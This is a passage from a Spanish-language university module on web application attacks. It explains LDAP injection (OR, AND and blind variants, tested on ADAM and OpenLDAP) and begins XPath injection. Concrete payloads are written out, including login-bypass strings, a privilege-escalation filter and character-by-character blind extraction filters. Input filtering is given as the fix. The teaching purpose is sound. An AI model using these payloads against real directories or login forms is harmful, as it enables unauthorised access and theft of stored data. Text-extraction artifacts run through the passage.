tringidas a determinadas direcciones IP Se hicieron famosas en el ataque
a servicios Trusted Hosts en los que se permitiacutea a un usuario ldquologarserdquo
directamente en un servidor sin introducir contrasentildea si veniacutea ldquologadordquo
desde un servidor con una direccioacuten IP en concreto
bull Hijacking Buscan conseguir el control de una conexioacuten mediante la su-
plantacioacuten del validador que mantiene la sesioacuten abierta y autenticada En
el caso del nivel de red el objetivo es controlar el socket mediante la su-
plantacioacuten del nuacutemero de secuencia
c) Nivel de Aplicacioacuten
bull Suplantacioacuten de resultados DNS Se utilizan para conseguir que la viacutectima
crea que el servidor al que se conecta es el de verdad Teacutecnicas de modi-
ficacioacuten de archivos hosts implantacioacuten de servidores DHCP ataques de
envenenamiento de cacheacute a servidores DNS mediante la teacutecnica de ldquoLa fe-
cha del cumpleantildeosrdquo son utilizados para lograr este objetivo
bull Phising El impacto de esta teacutecnica de ataque en la sociedad ha hecho que
hoy en diacutea la mayoriacutea de la gente se preocupe por esto El objetivo de esta
teacutecnica es hacer creer a la viacutectima que se estaacute conectando a una aplicacioacuten
CC-BY-NC-ND bull PID_00191662 27 Ataques a aplicaciones web
mediante la suplantacioacuten de un sitio web completo Se apoya en las teacutec-
nicas de suplantacioacuten de DNS
bull Hijacking Es similar al de a nivel de red pero aquiacute se busca suplantar el va-
lidador que utiliza el nivel de aplicacioacuten Este puede ser un nuacutemero iden-
tificador de sesioacuten en una cookie un campo hidden de una paacutegina web o
un paraacutemetro por GET o por POST
bull Suplantacioacuten de usuarios El objetivo de esta teacutecnica de ataque es la de
usurpar la identidad de un usuario para realizar las acciones en su lugar
2)Tampering Implica el intento de forzar el funcionamiento de alguacuten meca-
nismo de seguridad mediante la falsificacioacuten o la alteracioacuten de la informacioacuten
Estas teacutecnicas son utilizadas para modificar ficheros de registro de acceso mo-
dificar la informacioacuten real o alterarla en su traacutensito desde el emisor al receptor
de la misma
3)Repudiation Son teacutecnicas mediante las que se evita la certificacioacuten o ga-
rantiacutea de un hecho Si un sistema no garantiza el no-repudio no se puede ga-
rantizar que la informacioacuten que contiene o emite sea veraz Tienen especial
relevancia en entornos de anaacutelisis forense o sistemas contractuales
4) InformationDisclosure Vulneracioacuten de la seguridad de un sistema que
implica que un usuario no permitido acceda a informacioacuten o documentacioacuten
sensible Este tipo de vulnerabilidades son especialmente importantes y estaacuten
protegidas por legislaciones especiales sobre todo los datos de caraacutecter perso-
nal En Espantildea se regula la seguridad de los datos mediante la Ley Orgaacutenica
de Proteccioacuten de Datos (LOPD)
5)DenialofService Las vulnerabilidades de denegacioacuten de servicio son aque-
llas que interrumpen la continuidad de los procesos de negocio o servicio de
una compantildeiacutea Estas vulnerabilidades pueden suponer un serio impacto en
los intereses de las compantildeiacuteas Los ataques basados en ordenadores zombis (
botnets) los ataques de parada de servicios o los ataques a las liacuteneas de comu-
nicacioacuten de las empresas son objetivos de este tipo de ataques
6)Elevationofprivilege Se produce este fallo de seguridad cuando un usuario
puede cambiar su nivel de privilegios dentro de un sistema para acceder a
informacioacuten o servicios que estaacuten restringidos para su identidad La elevacioacuten
de privilegios es una vulnerabilidad que suele ser el origen de brechas que
conllevan a denegacioacuten de servicio o descubrimiento de informacioacuten
A partir de esta clasificacioacuten de ataques es posible estudiar en profundidad la
implementacioacuten de ataques reales que normalmente podriacutea aparecer simul-
taacuteneamente en varias de las categoriacuteas anteriores
CC-BY-NC-ND bull PID_00191662 28 Ataques a aplicaciones web
La inyeccioacuten de comandos es una teacutecnica de ataque a aplicaciones web cuyo
objetivo principal es aprovechar conexiones a bases de datos desde aplicacio-
nes web no securizadas para permitir a un atacante la ejecucioacuten de comandos
directamente en la base de datos
21 LDAP Injection
Vamos a mostrar las posibilidades y riesgos de los ataques LDAP Injection en
aplicaciones web Con estos ejemplos se quiere demostrar coacutemo es posible
realizar ataques de elevacioacuten de privilegios de salto de protecciones de acceso
y de acceso a datos en aacuterboles LDAP mediante el uso de inyecciones de coacutedigo
LDAP Estas inyecciones de coacutedigo se han clasificado en inyecciones
bull And LDAP Injection
bull OR LDAP Injection y
bull Blind LDAP Injection
Para probar estas teacutecnicas de inyeccioacuten se han utilizado los motores ADAM
de Microsoft y el motor OpenLDAP un producto Software Libre de amplia
implantacioacuten a nivel mundial
211 LDAP Injection con ADAM de Microsoft
Para realizar todas las pruebas de las cadenas a inyectar se ha utilizado la herra-
mienta LDAP Browser que permite conectarse a distintos aacuterboles LDAP y un
cliente web sinteacutetico creado con el componente IPWorksASPLDAP de la em-
presa n Software para realizar las pruebas de ejecucioacuten de filtros inyectados
En la figura 12 se muestra la estructura que se ha creado de ejemplo en ADAM
Figura 12 Estructura del aacuterbol LDAP creado en ADAM
CC-BY-NC-ND bull PID_00191662 29 Ataques a aplicaciones web
Supongamos ahora que la aplicacioacuten web utiliza una consulta con el siguiente
filtro (cn=Impresora_1) Al lanzar esta consulta se obtiene 1 objeto como
se puede ver en la figura 13
Figura 13 Objeto de respuesta con el filtro (cn=Impresora_1)
Lo deseable por un atacante que realice una inyeccioacuten seriacutea poder acceder a
toda la informacioacuten mediante la inclusioacuten de una consulta que nos devolviera
todas las impresoras En el ejemplo vemos cuaacutel deberiacutea ser el resultado a ob-
tener con una consulta siguiendo el formato definido en las RFC sobre ADAM
(|(cn=Impresora_1)(cn=Impresora))
CC-BY-NC-ND bull PID_00191662 30 Ataques a aplicaciones web
Figura 14 Todas las impresoras
Sin embargo como se puede apreciar para construir ese filtro necesitariacuteamos
inyectar un operador y un pareacutentesis al principio En el ejemplo la inyeccioacuten
no resulta ser muy uacutetil pues se estaacute realizando en ambas condicionantes sobre
cn pero ese filtro solo estaacute creado para ilustrar la necesidad de inyectar coacutedigo
antes del filtro y en el medio del filtro Si probamos la inyeccioacuten propuesta
por Sacha Faust en ADAM (cn=Impresora_1)(|(cn=Impresora))
Figura 15 Inyeccioacuten sin resultados
CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web
Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten
no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha
Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes
datos Es decir solo devuelve los datos del primer filtro completo y el resto de
la cadena es ignorado
212 LDAP Injection con OpenLDAP
Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol
que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya
estructura es la siguiente
Figura 16 Estructura del aacuterbol LDAP en OpenLDAP
Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-
niendo un uacutenico objeto como resultado (uid=kurt)
CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web
Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado
Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido
en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-
dor OR y un filtro que incluyera todos los resultados como se puede ver en la
siguiente imagen (|(uid=kurt)(uid=))
Figura 18 Todos los usuarios
Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento
sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))
CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web
Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro
Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado
el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba
ADAM
213 Conclusiones
Tras realizar estas pruebas podemos extraer las siguientes conclusiones
bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje
contra ADAM u OpenLDAP es necesario que el filtro original es decir el
del programador tenga un operador OR o AND A partir de este punto se
pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten
o realizar ataques blind es decir a ciegas
bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente
anidada en un uacutenico par de pareacutentesis general o bien que el componente
permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha
del filtro
bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust
puede ser vista de dos formas diferentes una primera en la que seriacutea vista
como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-
mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro
mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-
tariacuteamos hablando de un comportamiento particular de algunos motores
LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con
un segundo filtro con un operador el operador OR innecesario
CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web
A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP
que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten
siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-
jection y Blind LDAP Injection
214 ldquoORrdquo LDAP Injection
En este entorno nos encontrariacuteamos con que el programador ha creado una
consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados
al usuario
(|(atributo1=valor1)(atributo2=valor2))
Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-
table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-
dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea
ldquoGroupsrdquo Al ejecutarla obtenemos
Figura 20 Consulta OR sin inyeccioacuten
Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-
driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-
nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-
dena void)(uid=))(|(uid=
CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web
Figura 21 Lista de usuarios obtenida tras la inyeccioacuten
Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|
(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-
ta de todos los usuarios del aacuterbol LDAP
Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en
este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente
tipo
(|(type=outputDevices)(type=printer))
Figura 22 Listado de impresoras y dispositivos de salida
Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea
modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo
CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web
(|(type=outputDevices)(type=printer)(uid=))(|(type=void))
Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los
usuarios como se puede ver en la figura 23
Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection
215 ldquoANDrdquo LDAP Injection
En el caso de inyecciones en consultas LDAP que lleven el operador AND el
atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido
pero se pueden utilizar las inyecciones para mediatizar los resultados y por
ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con
una consulta del siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Supongamos un entorno en el que se muestra la lista de todos los documentos
a los que un usuario con pocos privilegios tiene acceso mediante una consulta
que incluye el directorio de documentos en un paraacutemetro inyectable Es decir
la consulta original es
(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))
Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder
acceder a los documentos de nivel de seguridad alto
(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))
Para conseguir este resultado se habraacute inyectado en el nombre del directorio
la siguiente cadena
almacen)(nivel_seguridad=alto))(|(directorio=almacen
CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web
Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer
lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando
una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza
una consulta LDAP del tipo
(amp(uid=valor_de_user)(password=valor_de_password)
El atacante inyectando la cadena slisberger)(amp)) en el valor del USER
obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger
y por lo tanto conseguiriacutea el acceso a la aplicacioacuten
Figura 24 Acceso no autorizado mediante AND LDAP Injection
Y como se puede ver en la figura 25 el usuario consigue acceso al directorio
privado del usuario slisberger En este caso se ha utilizado el filtro (amp)
que es el equivalente al valor TRUE en los filtros LDAP
Figura 25 Directorio home del usuario
Como se puede ver en este caso el usuario ha accedido con privilegios de nivel
bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio
de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se
puede ver en la figura 26
CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web
Figura 26 Listado de documentos de nivel bajo
La consulta que se estaacute ejecutando es
(amp(directory=nombre_directorio)(level=low))
El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del
servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio
el siguiente comando Documents)(level=High) De esta forma el coman-
do que se ejecutariacutea seriacutea
(amp(directory=Documents)(level=High))(level=low))
Permitiendo al atacante acceder a todos los documentos Se ha producido una
elevacioacuten de privilegios
CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web
Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection
22 Blind LDAP Injection
Una de las evoluciones de las inyecciones de comandos son las acciones a
ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques
Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no
se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer
informacioacuten de un aacuterbol LDAP
El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que
cumple dos caracteriacutesticas
bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada
al aacuterbol LDAP
bull El uso de los resultados produce cambios en la respuesta http que el cliente
recibe
Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer
informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-
vando los cambios en las respuestas http
CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web
221 Blind LDAP Injection en un entorno ldquoANDrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND
tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el
atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo
que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos
aplicarle un valor que sea true es decir que siempre seleccione objetos para
tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que
tambieacuten nos garantice que sea true
Supongamos la siguiente consulta LDAP
(amp(objectClass=Impresoras)(impresoraTipo=Epson))
Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson
de tal manera que el programador si recibe alguacuten objeto simplemente pinta
en la paacutegina web un icono de una impresora Epson
Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el
icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y
como hemos dicho realizando una inyeccioacuten del siguiente tipo
(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante
Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado
en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-
mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP
222 Reconocimiento de clases de objetos de un aacuterbol LDAP
Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-
mos centrarnos en el segundo filtro realizando un recorrido de la siguiente
forma
(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web
De tal manera que todas aquellas inyecciones que devolvieran el icono de la
impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean
la existencia de ese tipo de objetos
Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-
beto de posibles valores utilizando una buacutesqueda con comodines para ello
realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de
la siguiente forma
(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran
dado una respuesta positiva
(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))
Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos
llegar a saber el nombre de todos los objetcClass de un sistema
Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)
Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido
para cualquier atributo que un objeto compartiera con el atributo fijo Una
vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-
CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web
rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los
nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido
con la siguiente inyeccioacuten
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-
bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se
puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-
teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-
zando un recorrido de la siguiente forma
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan
devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-
car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de
los caracteres utilizando los operadores relacionales lt= o gt= para reducir el
nuacutemero de peticiones
En los atributos que almacenan valores numeacutericos no es posible utilizar el co-
modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-
rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=
(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))
223 Blind LDAP Injection en un entorno ldquoORrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(|(atributo1=valor1)(atributo2=valor2))
En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar
el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor
siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos
una inyeccioacuten de la siguiente forma
(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web
Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo
planteado de las impresoras disponibles deberemos obtener un resultado sin
el icono de la impresora Luego podremos inferir la informacioacuten cuando sea
verdadero el segundo filtro
(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda
la informacioacuten del aacuterbol LDAP utilizando los comodines
224 Ejemplos Blind LDAP Injection
Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado
dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En
la siguiente figura se pueden ver los atributos de un objeto de tipo Printer
Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer
Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros
repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una
aplicacioacuten programada en php llamada printerstatusphp que recibe co-
mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de
la siguiente forma
(amp(cn=HP Laserjet 2100)(objectclass=printer))
El resultado es una paacutegina web en la que se accede a propiedades de la impre-
sora en concreto
CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web
Figura 30 Propiedades de la impresora HP LaserJet 2100
El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-
nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de
los objetos que se puedan seleccionar con cualquier consulta ejecutada por
lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes
capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-
diante Blind LDAP Injection
1)Fase1descubrimientodeatributos
El atacante inyecta atributos para descubrir si existen o no Cuando el atributo
no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no
muestra datos de ninguna impresora
Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de
tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir
asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=
o = y para los booleanos las constantes true y false
Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico
En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de
tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto
se puede comprobar porque la paacutegina de resultados ha devuelto datos de la
impresora que se estaba utilizando
CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web
Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico
Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las
que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten
y el descubrimiento de los atributos simplemente comparando los resultados
HTML obtenidos
En la figura 33 se obtiene de nuevo un resultado positivo que confirma la
existencia de un atributo department
Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble
2)Fase2reduccioacutendelalfabeto
Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-
fabeto posible de valores en un campo La idea consiste en saber si existe o
no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres
de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres
tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten
Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-
ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos
dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir
15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones
+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se
puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a
utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza
como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28
es decir 148 peticiones
CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web
Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena
opcioacuten a la hora de extraer valores de campos
En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece
o no al valor del campo
Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos
Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos
Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse
para extraer el valor del dato mediante un proceso de despliegue
3)Fase3despliegue
En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas
para ello comenzaremos un proceso desde la primera posicioacuten
Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos
CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web
Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-
firme que con ese patroacuten se devuelven datos
Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos
Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a
buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la
fase de reduccioacuten del alfabeto
Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos
Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos
Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se
hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta
de los objetos del aacuterbol LDAP
LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-
rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet
realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-
On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet
CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web
Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro
de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas
de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo
la documentacioacuten existente son de poca ayuda pues en los entornos maacutes
comunes como ADAM u OpenLDAP no funcionan
La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones
consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-
viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines
para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra
aplicacioacuten
23 XPath
XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-
cumentos XML por medio de expresiones especiacuteficas para su estructura
Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de
la organizacioacuten de nodos que poseen los ficheros XML
Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-
ble implementarlo en aplicaciones web de modo que pueden sustituir a los
SGBD (sistema gestor de base de datos) basados en SQL
231 XPath injection y Blind XPath Injection
XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los
paraacutemetros de buacutesqueda a la hora de formar una query XPath
Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-
tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML
Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL
Injection LDAP Injection) son fallos de seguridad causados por una mala
programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-
queda sin importar que la aplicacioacuten sea de escritorio o web
Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-
poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten
contra un aacuterbol XML con la siguiente estructura
ltxml version=10 encoding=UTF-8gt
ltusuariosgt
ltusuario login=admin password=t1oviv0 nivel=3 gt
ltusuario login=usuario password=miPasswordXml nivel=1 gt
ltusuario login=invitado password=invitado nivel=0 gt
CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web
ltusuariosgt
La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde
para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario
y un password con los que posteriormente formara una query de XPath con
la siguiente estructura
string xpath = usuariosusuario[login= + usuario + and password= + password + ]
En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-
tivo a no ser que el usuario y el password correspondan con los establecidos en
el documento XML pero si se trata de un entorno inseguro donde los campos
de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una
inyeccioacuten
Si un usuario introdujera en el campo password un valor como abclsquo or
lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder
a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado
positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y
posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-
da seriacutea el que nos muestra el siguiente ejemplo
Figura 40 Evaluacioacuten de los paraacutemetros en XPath
Como hemos visto con este tipo de inyecciones es posible hacer modificacio-
nes en la query para obtener el resultado deseado (truefalse) pero es posible ir
mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos
atributos y elementos
Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath
Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores
del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten
vulnerable
Retomando el caso praacutectico anterior supongamos que cuando realizamos login
en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten
devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso
de que la query XPath devuelva un resultado negativo (cuando se realiza una
